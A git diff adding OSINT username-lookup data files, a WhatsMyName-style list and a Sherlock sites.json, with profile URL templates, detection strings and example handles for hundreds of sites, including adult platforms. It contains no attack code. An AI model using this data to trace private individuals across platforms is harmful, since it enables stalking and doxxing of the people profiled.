: "card_id\": 0", + "m_code" : 200, + "known" : ["Lisa-Gordon", "Bill-Schaeffer"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Vivino", + "uri_check" : "https://www.vivino.com/users/{account}", + "e_code" : 200, + "e_string" : "", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["test", "admin"], + "cat" : "video", + "valid" : true + }, + { + "name" : "VIP-blog", + "uri_check" : "http://{account}.vip-blog.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "blog : ", + "m_string" : "Blog inexistant", + "m_code" : 200, + "known" : ["sarah", "brahim01"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Virustotal", + "uri_check" : "https://www.virustotal.com/gui/user/{account}", + "e_code" : 200, + "e_string" :"USER PROFILE", + "m_string" : "User not found", + "m_code" : 200, + "known" : ["cyber", "cybersecstu"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "VK", + "uri_check" : "https://vk.com/{account}", + "e_code" : 200, + "e_string" : "id=\"profile\"", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["ches_ches", "mike.kidlazy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Vkl.world (Mastodon Instance)", + "uri_check" : "https://vkl.world/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://vkl.world/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["king", "aniver"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Vmst.io (Mastodon Instance)", + "uri_check" : "https://vmst.io/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://vmst.io/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["vmstan", "honestdave"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Voice123", + "uri_check" : "https://voice123.com/api/providers/search/{account}", + "uri_pretty" : "https://voice123.com/{account}", + "e_code" : 200, + "e_string" : "user_id", + "m_code" : 200, + "m_string" : "[]", + "known" : ["dottovuu", "maheshsaha1992"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Voices.com", + "uri_check" : "https://www.voices.com/profile/{account}/", + "e_code" : 200, + "e_string" : "Last Online", + "m_string" : "Try going back to the previous page or see below for more options", + "m_code" : 301, + "known" : ["briankirchoff", "bryankopta"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Wanelo", + "uri_check" : "https://wanelo.co/{account}", + "e_code" : 200, + "e_string" : "on Wanelo", + "m_string" : "Hmm, that's embarrassing", + "m_code" : 404, + "known" : ["lisandrareyes"], + "cat" : "shopping", + "valid" : true, + "invalid_chars" : "." + }, + { + "name" : "watchmemore.com", + "uri_check" : "https://api.watchmemore.com/api3/profile/{account}/", + "uri_pretty" : "https://watchmemore.com/{account}/", + "e_code" : 200, + "e_string" : "displayName", + "m_string" : "notExists", + "m_code" : 400, + "known" : ["medroxy", "nodjev"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "warriorforum", + "uri_check" : "https://www.warriorforum.com/members/{account}.html", + "e_code" : 200, + "e_string" : "| Warrior Forum", + "m_string" : "Oops | Warrior Forum -", + "m_code" : 400, + "known" : ["alex", "peter"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Watchmyfeed", + "uri_check" : "https://watchmyfeed.com/{account}", + "e_code" : 200, + "e_string" : "SEND ME A TIP", + "m_string" : "", + "m_string" : "This user doesn't seem to be in our database.", + "m_code" : 404, + "known" : ["weasyl", "test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "weebly", + "uri_check" : "https://{account}.weebly.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "
", + "m_string" : "404 - Page Not Found", + "m_code" : 404, + "known" : ["dave", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "weheartit", + "uri_check" : "https://weheartit.com/{account}", + "e_code" : 200, + "e_string" : " on We Heart It", + "m_string" : " (404)", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "wego", + "uri_check" : "https://wego.social/{account}", + "e_code" : 200, + "e_string" : "Following", + "m_string" : "Sorry, page not found!", + "m_code" : 302, + "known" : ["mmish2", "Lisa_M_S"], + "cat" : "political", + "valid" : true + }, + { + "name" : "weibo", + "uri_check" : "https://tw.weibo.com/{account}", + "e_code" : 200, + "e_string" : "粉絲", + "m_string" : "Oops!", + "m_code" : 404, + "known" : ["chentingni", "fbb0916"], + "cat" : "social", + "valid" : true + }, + { + "name" : "WeTransfer", + "uri_check" : "https://{account}.wetransfer.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "default_recipient_email", + "m_string" : "", + "m_code" : 302, + "known" : ["mark", "joe"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Wikidot", + "uri_check" : "http://www.wikidot.com/user:info/{account}", + "e_code" : 200, + "e_string" : "Wikidot.com:", + "m_string" : "Free and Pro Wiki Hosting", + "m_code" : 404, + "known" : ["jack", "allen"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Wikipedia", + "uri_check" : "https://en.wikipedia.org/w/api.php?action=query&format=json&list=users&ususers={account}", + "uri_pretty" : "https://en.wikipedia.org/wiki/User:{account}", + "e_code" : 200, + "e_string" : "userid", + "m_string" : "missing:", + "m_code" : 200, + "known" : ["Mcd51", "W._Frank"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Wimkin-PublicProfile", + "uri_check" : "https://wimkin.com/{account}", + "e_code" : 200, + "e_string" : "is on WIMKIN", + "m_string" : " The page you are looking for cannot be found.", + "m_code" : 404, + "known" : ["alex", "smith", "boomer"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Wireclub", + "uri_check" : "https://www.wireclub.com/users/{account}", + "e_code" : 200, + "e_string" : "Chat With", + "m_string" : "People - Wireclub", + "m_code" : 301, + "known" : ["deae", "cheerfulsarcasm", "braydenskiresort"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Wakatime", + "uri_check" : "https://wakatime.com/@{account}", + "e_code" : 200, + "e_string" : ") - WakaTime", + "m_string" : "404: Not Found", + "m_code" : 404, + "known" : ["jake", "alimirzayev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "wishlistr", + "uri_check" : "https://www.wishlistr.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s profile", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Wolni Słowianie", + "uri_check" : "https://wolnislowianie.pl/{account}", + "e_code" : 200, + "e_string" : "Oś czasu", + "m_string" : "Nie znaleziono strony, której szukasz.", + "m_code" : 404, + "known" : ["janek", "kowal"], + "cat" : "social", + "valid" : true + }, + { + "name" : "wordnik", + "uri_check" : "https://www.wordnik.com/users/{account}", + "e_code" : 200, + "e_string" : "Welcome,", + "m_string" : "Wordnik: Page Not Found", + "m_code" : 404, + "known" : ["elle", "john"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "WordPress", + "uri_check" : "https://profiles.wordpress.org/{account}/", + "e_code" : 200, + "e_string" : "user-member-since", + "m_string" : "", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "WordPress Support", + "uri_check" : "https://wordpress.org/support/users/{account}/", + "e_code" : 200, + "e_string" : "s Profile | WordPress.org", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Wowhead", + "uri_check" : "https://www.wowhead.com/user={account}", + "e_code" : 200, + "e_string" : " Profile - Wowhead", + "m_string" : "Error - Wowhead", + "m_code" : 404, + "known" : ["Ashelia", "Zizarz"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Wykop", + "uri_check" : "https://www.wykop.pl/ludzie/{account}/", + "e_code" : 200, + "e_string" : "Aktywność użytkownika", + "m_string" : "Czy na pewno tego szukałeś? Taka strona nie istnieje.", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Xanga", + "uri_check" : "http://{account}.xanga.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s Xanga Site | Just", + "m_string" : "", + "m_code" : 302, + "known" : ["john"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Xbox Gamertag", + "uri_check" : "https://www.xboxgamertag.com/search/{account}", + "e_code" : 200, + "e_string" : "Games Played", + "m_string" : "Gamertag doesn't exist", + "m_code" : 404, + "known" : ["Spiken8", "john"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "xHamster", + "uri_check" : "https://xhamster.com/users/{account}", + "e_code" : 200, + "e_string" : "s profile | xHamster", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["john", "tonystark85"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Xing", + "uri_check" : "https://www.xing.com/profile/{account}", + "e_code" : 200, + "e_string" : " | XING", + "m_string" : "Es tut uns leid", + "m_code" : 404, + "known" : ["Andy_Hausmann", "Ramona_Hapke"], + "cat" : "social", + "valid" : true + }, + { + "name" : "XVIDEOS-models", + "uri_check" : "https://www.xvideos.com/models/{account}", + "e_code" : 200, + "e_string" : "Total video views", + "m_string" : "THIS PROFILE DOESN'T EXIST", + "m_code" : 404, + "known" : ["vvalencourt3", "tiffany-tyler"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "XVIDEOS-profiles", + "uri_check" : "https://www.xvideos.com/profiles/{account}", + "e_code" : 200, + "e_string" : "page - XVIDEOS.COM", + "m_string" : "THIS PROFILE DOESN'T EXIST", + "m_code" : 404, + "known" : ["nympho-nailer", "dpadicto", "bkg"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Yahoo! JAPAN Auction", + "uri_check" : "https://auctions.yahoo.co.jp/follow/list/{account}", + "e_code" : 200, + "e_string" : "出品者", + "m_code" : 500, + "m_string" : "Yahoo! JAPAN IDが無効です。", + "known" : ["fltr14502003"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "yapishu", + "uri_check" : "https://yapishu.net/user/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" : "for_profile", + "m_string" : "Not Found (#404)", + "m_code" : 404, + "known" : ["roman", "semion"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Yazawaj", + "uri_check" : "https://www.yazawaj.com/profile/{account}", + "e_code" : 200, + "e_string" : "أنا", + "m_string" : "الصفحة المطلوبة غير موجودة", + "m_code" : 302, + "known" : ["monya14555d", "LordMohy"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Yelp", + "uri_check" : "https://www.yelp.com/user_details?userid={account}", + "e_code" : 200, + "e_string" : "'s Reviews |", + "m_string" : "Doggone it! The page you’re looking for cannot be found.", + "m_code" : 404, + "known" : ["j5CYhsvD2yrunyyoZvSvKA", "GHoG4X4FY8D8L563zzPX5w"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "youpic", + "uri_check" : "https://youpic.com/photographer/{account}", + "e_code" : 200, + "e_string" : "- Photographer - YouPic", + "m_string" : "Welcome to the infamous 404 page - YouPic", + "m_code" : 404, + "known" : ["photodude", "mike"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "YouTube Channel", + "uri_check" : "https://www.youtube.com/c/{account}/about", + "e_code" : 200, + "e_string" : "joinedDateText", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["OvylarockTHR","OSINTDojo"], + "cat" : "video", + "valid" : true + }, + { + "name" : "YouTube User", + "uri_check" : "https://www.youtube.com/user/{account}/about", + "e_code" : 200, + "e_string" : "joinedDateText", + "m_string" : "<title>404 Not Found", + "m_code" : 404, + "known" : ["MicahHoffman","theosintcuriousproject"], + "cat" : "video", + "valid" : true + }, + { + "name" : "YouTube User2", + "uri_check" : "https://www.youtube.com/@{account}", + "e_code" : 200, + "e_string" : "canonicalBaseUrl", + "m_string" : "<title>404 Not Found", + "m_code" : 404, + "known" : ["tactical-systems","CybersecurityMeg"], + "cat" : "video", + "valid" : true + }, + { + "name" : "zatrybi.pl", + "uri_check" : "https://zatrybi.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zarejestrowany od:", + "m_string" : "Nie znaleziono strony", + "m_code" : 404, + "known" : ["Berlinek", "fenrek"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Zbiornik", + "uri_check" : "https://mini.zbiornik.com/{account}", + "e_code" : 200, + "e_string" : "INFO", + "m_string" : "Szukaj", + "m_code" : 200, + "known" : ["69uzytkownik69", "Soif"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "zhihu", + "uri_check" : "https://www.zhihu.com/people/{account}", + "e_code" : 200, + "e_string" : "zhihu:voteupCount", + "m_string" : "ErrorPage-subtitle", + "m_code" : 400, + "known" : ["lushnis", "kan-shu-jiao-hua-shai-tai-yang"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Zillow", + "uri_check" : "https://www.zillow.com/profile/{account}/", + "e_code" : 200, + "e_string" : "- Real Estate Agent", + "m_string" : "", + "m_code" : 302, + "known" : ["JOHN-L-SULLIVAN", "Maggie-Alegria"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "zmarsa.com", + "uri_check" : "https://zmarsa.com/uzytkownik/{account}/glowna/", + "e_code" : 200, + "e_string" : "Galeria użytkownika", + "m_string" : "Błąd na stronie", + "m_code" : 500, + "known" : ["janek", "test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Zomato", + "uri_check" : "https://www.zomato.com/{account}/foodjourney", + "e_code" : 200, + "e_string" : "| Zomato", + "m_string" : "404 | Zomato", + "m_code" : 404, + "known" : ["john", "jess"], + "cat" : "social", + "valid" : true + }, + { + "name" : "zoomitir", + "uri_check" : "https://www.zoomit.ir/user/{account}/", + "e_code" : 200, + "e_string" : "پروفایل - زومیت", + "m_string" : "404 Not found", + "m_code" : 404, + "known" : ["rezaghezi", "hosssssein"], + "cat" : "tech", + "valid" : true + } + ] + } diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/sherlock.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/sherlock.json new file mode 100644 index 0000000..e86dd69 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/sherlock.json @@ -0,0 +1,3251 @@ +{ + "$schema": "data.schema.json", + "1337x": { + "errorMsg": [ + "Error something went wrong.", + "404 Not Found" + ], + "errorType": "message", + "regexCheck": "^[A-Za-z0-9]{4,12}$", + "url": "https://www.1337x.to/user/{}/", + "urlMain": "https://www.1337x.to/", + "username_claimed": "FitGirl" + }, + "2Dimensions": { + "errorType": "status_code", + "url": "https://2Dimensions.com/a/{}", + "urlMain": "https://2Dimensions.com/", + "username_claimed": "blue" + }, + "7Cups": { + "errorType": "status_code", + "url": "https://www.7cups.com/@{}", + "urlMain": "https://www.7cups.com/", + "username_claimed": "blue" + }, + "9GAG": { + "errorType": "status_code", + "url": "https://www.9gag.com/u/{}", + "urlMain": "https://www.9gag.com/", + "username_claimed": "blue" + }, + "APClips": { + "errorMsg": "Amateur Porn Content Creators", + "errorType": "message", + "isNSFW": true, + "url": "https://apclips.com/{}", + "urlMain": "https://apclips.com/", + "username_claimed": "onlybbyraq" + }, + "About.me": { + "errorType": "status_code", + "url": "https://about.me/{}", + "urlMain": "https://about.me/", + "username_claimed": "blue" + }, + "Academia.edu": { + "errorType": "status_code", + "regexCheck": "^[^.]*$", + "url": "https://independent.academia.edu/{}", + "urlMain": "https://www.academia.edu/", + "username_claimed": "blue" + }, + "AdmireMe.Vip": { + "errorMsg": "Page Not Found", + "errorType": "message", + "isNSFW": true, + "url": "https://admireme.vip/{}", + "urlMain": "https://admireme.vip/", + "username_claimed": "DemiDevil" + }, + "Airbit": { + "errorType": "status_code", + "url": "https://airbit.com/{}", + "urlMain": "https://airbit.com/", + "username_claimed": "airbit" + }, + "Airliners": { + "errorType": "status_code", + "url": "https://www.airliners.net/user/{}/profile/photos", + "urlMain": "https://www.airliners.net/", + "username_claimed": "yushinlin" + }, + "All Things Worn": { + "errorMsg": "Sell Used Panties", + "errorType": "message", + "isNSFW": true, + "url": "https://www.allthingsworn.com/profile/{}", + "urlMain": "https://www.allthingsworn.com", + "username_claimed": "pink" + }, + "AllMyLinks": { + "errorMsg": "Page not found", + "errorType": "message", + "regexCheck": "^[a-z0-9][a-z0-9-]{2,32}$", + "url": "https://allmylinks.com/{}", + "urlMain": "https://allmylinks.com/", + "username_claimed": "blue" + }, + "AniWorld": { + "errorMsg": "Dieses Profil ist nicht verf\u00fcgbar", + "errorType": "message", + "url": "https://aniworld.to/user/profil/{}", + "urlMain": "https://aniworld.to/", + "username_claimed": "blue" + }, + "Anilist": { + "errorType": "status_code", + "regexCheck": "^[A-Za-z0-9]{2,20}$", + "request_method": "POST", + "request_payload": { + "query": "query($name:String){User(name:$name){id}}", + "variables": { + "name": "{}" + } + }, + "url": "https://anilist.co/user/{}/", + "urlMain": "https://anilist.co/", + "urlProbe": "https://graphql.anilist.co/", + "username_claimed": "Josh" + }, + "Apple Developer": { + "errorType": "status_code", + "url": "https://developer.apple.com/forums/profile/{}", + "urlMain": "https://developer.apple.com", + "username_claimed": "lio24d" + }, + "Apple Discussions": { + "errorMsg": "Looking for something in Apple Support Communities?", + "errorType": "message", + "url": "https://discussions.apple.com/profile/{}", + "urlMain": "https://discussions.apple.com", + "username_claimed": "jason" + }, + "Aparat": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.aparat.com/{}/", + "urlMain": "https://www.aparat.com/", + "urlProbe": "https://www.aparat.com/api/fa/v1/user/user/information/username/{}", + "username_claimed": "jadi" + }, + "Archive of Our Own": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://archiveofourown.org/users/{}", + "urlMain": "https://archiveofourown.org/", + "username_claimed": "test" + }, + "Archive.org": { + "__comment__": "'The resource could not be found' relates to archive downtime", + "errorMsg": [ + "could not fetch an account with user item identifier", + "The resource could not be found", + "Internet Archive services are temporarily offline" + ], + "errorType": "message", + "url": "https://archive.org/details/@{}", + "urlMain": "https://archive.org", + "urlProbe": "https://archive.org/details/@{}?noscript=true", + "username_claimed": "blue" + }, + "Arduino Forum": { + "errorType": "status_code", + "url": "https://forum.arduino.cc/u/{}/summary", + "urlMain": "https://forum.arduino.cc/", + "username_claimed": "system" + }, + "ArtStation": { + "errorType": "status_code", + "url": "https://www.artstation.com/{}", + "urlMain": "https://www.artstation.com/", + "username_claimed": "Blue" + }, + "Asciinema": { + "errorType": "status_code", + "url": "https://asciinema.org/~{}", + "urlMain": "https://asciinema.org", + "username_claimed": "red" + }, + "Ask Fedora": { + "errorType": "status_code", + "url": "https://ask.fedoraproject.org/u/{}", + "urlMain": "https://ask.fedoraproject.org/", + "username_claimed": "red" + }, + "Atcoder": { + "errorType": "status_code", + "url": "https://atcoder.jp/users/{}", + "urlMain": "https://atcoder.jp/", + "username_claimed": "ksun48" + }, + "Vjudge": { + "errorType": "status_code", + "url": "https://VJudge.net/user/{}", + "urlMain": "https://VJudge.net/", + "username_claimed": "tokitsukaze" + }, + "Audiojungle": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]+$", + "url": "https://audiojungle.net/user/{}", + "urlMain": "https://audiojungle.net/", + "username_claimed": "blue" + }, + "Autofrage": { + "errorType": "status_code", + "url": "https://www.autofrage.net/nutzer/{}", + "urlMain": "https://www.autofrage.net/", + "username_claimed": "autofrage" + }, + "Avizo": { + "errorType": "response_url", + "errorUrl": "https://www.avizo.cz/", + "url": "https://www.avizo.cz/{}/", + "urlMain": "https://www.avizo.cz/", + "username_claimed": "blue" + }, + "AWS Skills Profile": { + "errorType": "message", + "errorMsg": "shareProfileAccepted\":false", + "url": "https://skillsprofile.skillbuilder.aws/user/{}/", + "urlMain": "https://skillsprofile.skillbuilder.aws", + "username_claimed": "mayank04pant" + }, + "BOOTH": { + "errorType": "response_url", + "errorUrl": "https://booth.pm/", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.booth.pm/", + "urlMain": "https://booth.pm/", + "username_claimed": "blue" + }, + "Bandcamp": { + "errorType": "status_code", + "url": "https://www.bandcamp.com/{}", + "urlMain": "https://www.bandcamp.com/", + "username_claimed": "blue" + }, + "Bazar.cz": { + "errorType": "response_url", + "errorUrl": "https://www.bazar.cz/error404.aspx", + "url": "https://www.bazar.cz/{}/", + "urlMain": "https://www.bazar.cz/", + "username_claimed": "pianina" + }, + "Behance": { + "errorType": "status_code", + "url": "https://www.behance.net/{}", + "urlMain": "https://www.behance.net/", + "username_claimed": "blue" + }, + "Bezuzyteczna": { + "errorType": "status_code", + "url": "https://bezuzyteczna.pl/uzytkownicy/{}", + "urlMain": "https://bezuzyteczna.pl", + "username_claimed": "Jackson" + }, + "BiggerPockets": { + "errorType": "status_code", + "url": "https://www.biggerpockets.com/users/{}", + "urlMain": "https://www.biggerpockets.com/", + "username_claimed": "blue" + }, + "BioHacking": { + "errorType": "status_code", + "url": "https://forum.dangerousthings.com/u/{}", + "urlMain": "https://forum.dangerousthings.com/", + "username_claimed": "blue" + }, + "BitBucket": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-_]{1,30}$", + "url": "https://bitbucket.org/{}/", + "urlMain": "https://bitbucket.org/", + "username_claimed": "white" + }, + "Bitwarden Forum": { + "errorType": "status_code", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "url": "https://community.bitwarden.com/u/{}/summary", + "urlMain": "https://bitwarden.com/", + "username_claimed": "blue" + }, + "Blipfoto": { + "errorType": "status_code", + "url": "https://www.blipfoto.com/{}", + "urlMain": "https://www.blipfoto.com/", + "username_claimed": "blue" + }, + "Blitz Tactics": { + "errorMsg": "That page doesn't exist", + "errorType": "message", + "url": "https://blitztactics.com/{}", + "urlMain": "https://blitztactics.com/", + "username_claimed": "Lance5500" + }, + "Blogger": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.blogspot.com", + "urlMain": "https://www.blogger.com/", + "username_claimed": "blue" + }, + "Bluesky": { + "errorType": "status_code", + "url": "https://bsky.app/profile/{}.bsky.social", + "urlProbe": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={}.bsky.social", + "urlMain": "https://bsky.app/", + "username_claimed": "mcuban" + }, + "BongaCams": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://pt.bongacams.com/profile/{}", + "urlMain": "https://pt.bongacams.com", + "username_claimed": "asuna-black" + }, + "Bookcrossing": { + "errorType": "status_code", + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "urlMain": "https://www.bookcrossing.com/", + "username_claimed": "blue" + }, + "BoardGameGeek": { + "errorMsg": "\"isValid\":true", + "errorType": "message", + "url": "https://boardgamegeek.com/user/{}", + "urlMain": "https://boardgamegeek.com/", + "urlProbe": "https://api.geekdo.com/api/accounts/validate/username?username={}", + "username_claimed": "blue" + }, + "BraveCommunity": { + "errorType": "status_code", + "url": "https://community.brave.com/u/{}/", + "urlMain": "https://community.brave.com/", + "username_claimed": "blue" + }, + "BreachSta.rs Forum": { + "errorMsg": "Error - BreachStars", + "errorType": "message", + "url": "https://breachsta.rs/profile/{}", + "urlMain": "https://breachsta.rs/", + "username_claimed": "Sleepybubble" + }, + "BugCrowd": { + "errorType": "status_code", + "url": "https://bugcrowd.com/{}", + "urlMain": "https://bugcrowd.com/", + "username_claimed": "ppfeister" + }, + "BuyMeACoffee": { + "errorType": "status_code", + "regexCheck": "[a-zA-Z0-9]{3,15}", + "url": "https://buymeacoff.ee/{}", + "urlMain": "https://www.buymeacoffee.com/", + "urlProbe": "https://www.buymeacoffee.com/{}", + "username_claimed": "red" + }, + "BuzzFeed": { + "errorType": "status_code", + "url": "https://buzzfeed.com/{}", + "urlMain": "https://buzzfeed.com/", + "username_claimed": "blue" + }, + "Cfx.re Forum": { + "errorType": "status_code", + "url": "https://forum.cfx.re/u/{}/summary", + "urlMain": "https://forum.cfx.re", + "username_claimed": "hightowerlssd" + }, + "CGTrader": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.cgtrader.com/{}", + "urlMain": "https://www.cgtrader.com", + "username_claimed": "blue" + }, + "CNET": { + "errorType": "status_code", + "regexCheck": "^[a-z].*$", + "url": "https://www.cnet.com/profiles/{}/", + "urlMain": "https://www.cnet.com/", + "username_claimed": "melliott" + }, + "CSSBattle": { + "errorType": "status_code", + "url": "https://cssbattle.dev/player/{}", + "urlMain": "https://cssbattle.dev", + "username_claimed": "beo" + }, + "CTAN": { + "errorType": "status_code", + "url": "https://ctan.org/author/{}", + "urlMain": "https://ctan.org/", + "username_claimed": "briggs" + }, + "Caddy Community": { + "errorType": "status_code", + "url": "https://caddy.community/u/{}/summary", + "urlMain": "https://caddy.community/", + "username_claimed": "taako_magnusen" + }, + "Car Talk Community": { + "errorType": "status_code", + "url": "https://community.cartalk.com/u/{}/summary", + "urlMain": "https://community.cartalk.com/", + "username_claimed": "always_fixing" + }, + "Carbonmade": { + "errorType": "response_url", + "errorUrl": "https://carbonmade.com/fourohfour?domain={}.carbonmade.com", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.carbonmade.com", + "urlMain": "https://carbonmade.com/", + "username_claimed": "jenny" + }, + "Career.habr": { + "errorMsg": "

\u041e\u0448\u0438\u0431\u043a\u0430 404

", + "errorType": "message", + "url": "https://career.habr.com/{}", + "urlMain": "https://career.habr.com/", + "username_claimed": "blue" + }, + "CashApp": { + "errorType": "status_code", + "url": "https://cash.app/${}", + "urlMain": "https://cash.app", + "username_claimed": "hotdiggitydog" + }, + "Championat": { + "errorType": "status_code", + "url": "https://www.championat.com/user/{}", + "urlMain": "https://www.championat.com/", + "username_claimed": "blue" + }, + "Chaos": { + "errorType": "status_code", + "url": "https://chaos.social/@{}", + "urlMain": "https://chaos.social/", + "username_claimed": "ordnung" + }, + "Chatujme.cz": { + "errorMsg": "Neexistujic\u00ed profil", + "errorType": "message", + "regexCheck": "^[a-zA-Z][a-zA-Z1-9_-]*$", + "url": "https://profil.chatujme.cz/{}", + "urlMain": "https://chatujme.cz/", + "username_claimed": "david" + }, + "ChaturBate": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://chaturbate.com/{}", + "urlMain": "https://chaturbate.com", + "username_claimed": "cute18cute" + }, + "Chess": { + "errorMsg": "Username is valid", + "errorType": "message", + "regexCheck": "^[a-z1-9]{3,25}$", + "url": "https://www.chess.com/member/{}", + "urlMain": "https://www.chess.com/", + "urlProbe": "https://www.chess.com/callback/user/valid?username={}", + "username_claimed": "blue" + }, + "Choice Community": { + "errorType": "status_code", + "url": "https://choice.community/u/{}/summary", + "urlMain": "https://choice.community/", + "username_claimed": "gordon" + }, + "Clapper": { + "errorType": "status_code", + "url": "https://clapperapp.com/{}", + "urlMain": "https://clapperapp.com/", + "username_claimed": "blue" + }, + "CloudflareCommunity": { + "errorType": "status_code", + "url": "https://community.cloudflare.com/u/{}", + "urlMain": "https://community.cloudflare.com/", + "username_claimed": "blue" + }, + "Clozemaster": { + "errorMsg": "Oh no! Player not found.", + "errorType": "message", + "url": "https://www.clozemaster.com/players/{}", + "urlMain": "https://www.clozemaster.com", + "username_claimed": "green" + }, + "Clubhouse": { + "errorType": "status_code", + "url": "https://www.clubhouse.com/@{}", + "urlMain": "https://www.clubhouse.com", + "username_claimed": "waniathar" + }, + "Code Snippet Wiki": { + "errorMsg": "This user has not filled out their profile page yet", + "errorType": "message", + "url": "https://codesnippets.fandom.com/wiki/User:{}", + "urlMain": "https://codesnippets.fandom.com", + "username_claimed": "bob" + }, + "Codeberg": { + "errorType": "status_code", + "url": "https://codeberg.org/{}", + "urlMain": "https://codeberg.org/", + "username_claimed": "blue" + }, + "Codecademy": { + "errorMsg": "This profile could not be found", + "errorType": "message", + "url": "https://www.codecademy.com/profiles/{}", + "urlMain": "https://www.codecademy.com/", + "username_claimed": "blue" + }, + "Codechef": { + "errorType": "response_url", + "errorUrl": "https://www.codechef.com/", + "url": "https://www.codechef.com/users/{}", + "urlMain": "https://www.codechef.com/", + "username_claimed": "blue" + }, + "Codeforces": { + "errorType": "status_code", + "url": "https://codeforces.com/profile/{}", + "urlMain": "https://codeforces.com/", + "urlProbe": "https://codeforces.com/api/user.info?handles={}", + "username_claimed": "tourist" + }, + "Codepen": { + "errorType": "status_code", + "url": "https://codepen.io/{}", + "urlMain": "https://codepen.io/", + "username_claimed": "blue" + }, + "Coders Rank": { + "errorMsg": "not a registered member", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "url": "https://profile.codersrank.io/user/{}/", + "urlMain": "https://codersrank.io/", + "username_claimed": "rootkit7628" + }, + "Coderwall": { + "errorType": "status_code", + "url": "https://coderwall.com/{}", + "urlMain": "https://coderwall.com", + "username_claimed": "hacker" + }, + "CodeSandbox": { + "errorType": "message", + "errorMsg": "Could not find user with username", + "regexCheck": "^[a-zA-Z0-9_-]{3,30}$", + "url": "https://codesandbox.io/u/{}", + "urlProbe": "https://codesandbox.io/api/v1/users/{}", + "urlMain": "https://codesandbox.io", + "username_claimed": "icyjoseph" + }, + "Codewars": { + "errorType": "status_code", + "url": "https://www.codewars.com/users/{}", + "urlMain": "https://www.codewars.com", + "username_claimed": "example" + }, + "Codolio": { + "errorType": "message", + "errorMsg": "Page Not Found | Codolio", + "url": "https://codolio.com/profile/{}", + "urlMain": "https://codolio.com/", + "username_claimed": "testuser", + "regexCheck": "^[a-zA-Z0-9_-]{3,30}$" + }, + "Coinvote": { + "errorType": "status_code", + "url": "https://coinvote.cc/profile/{}", + 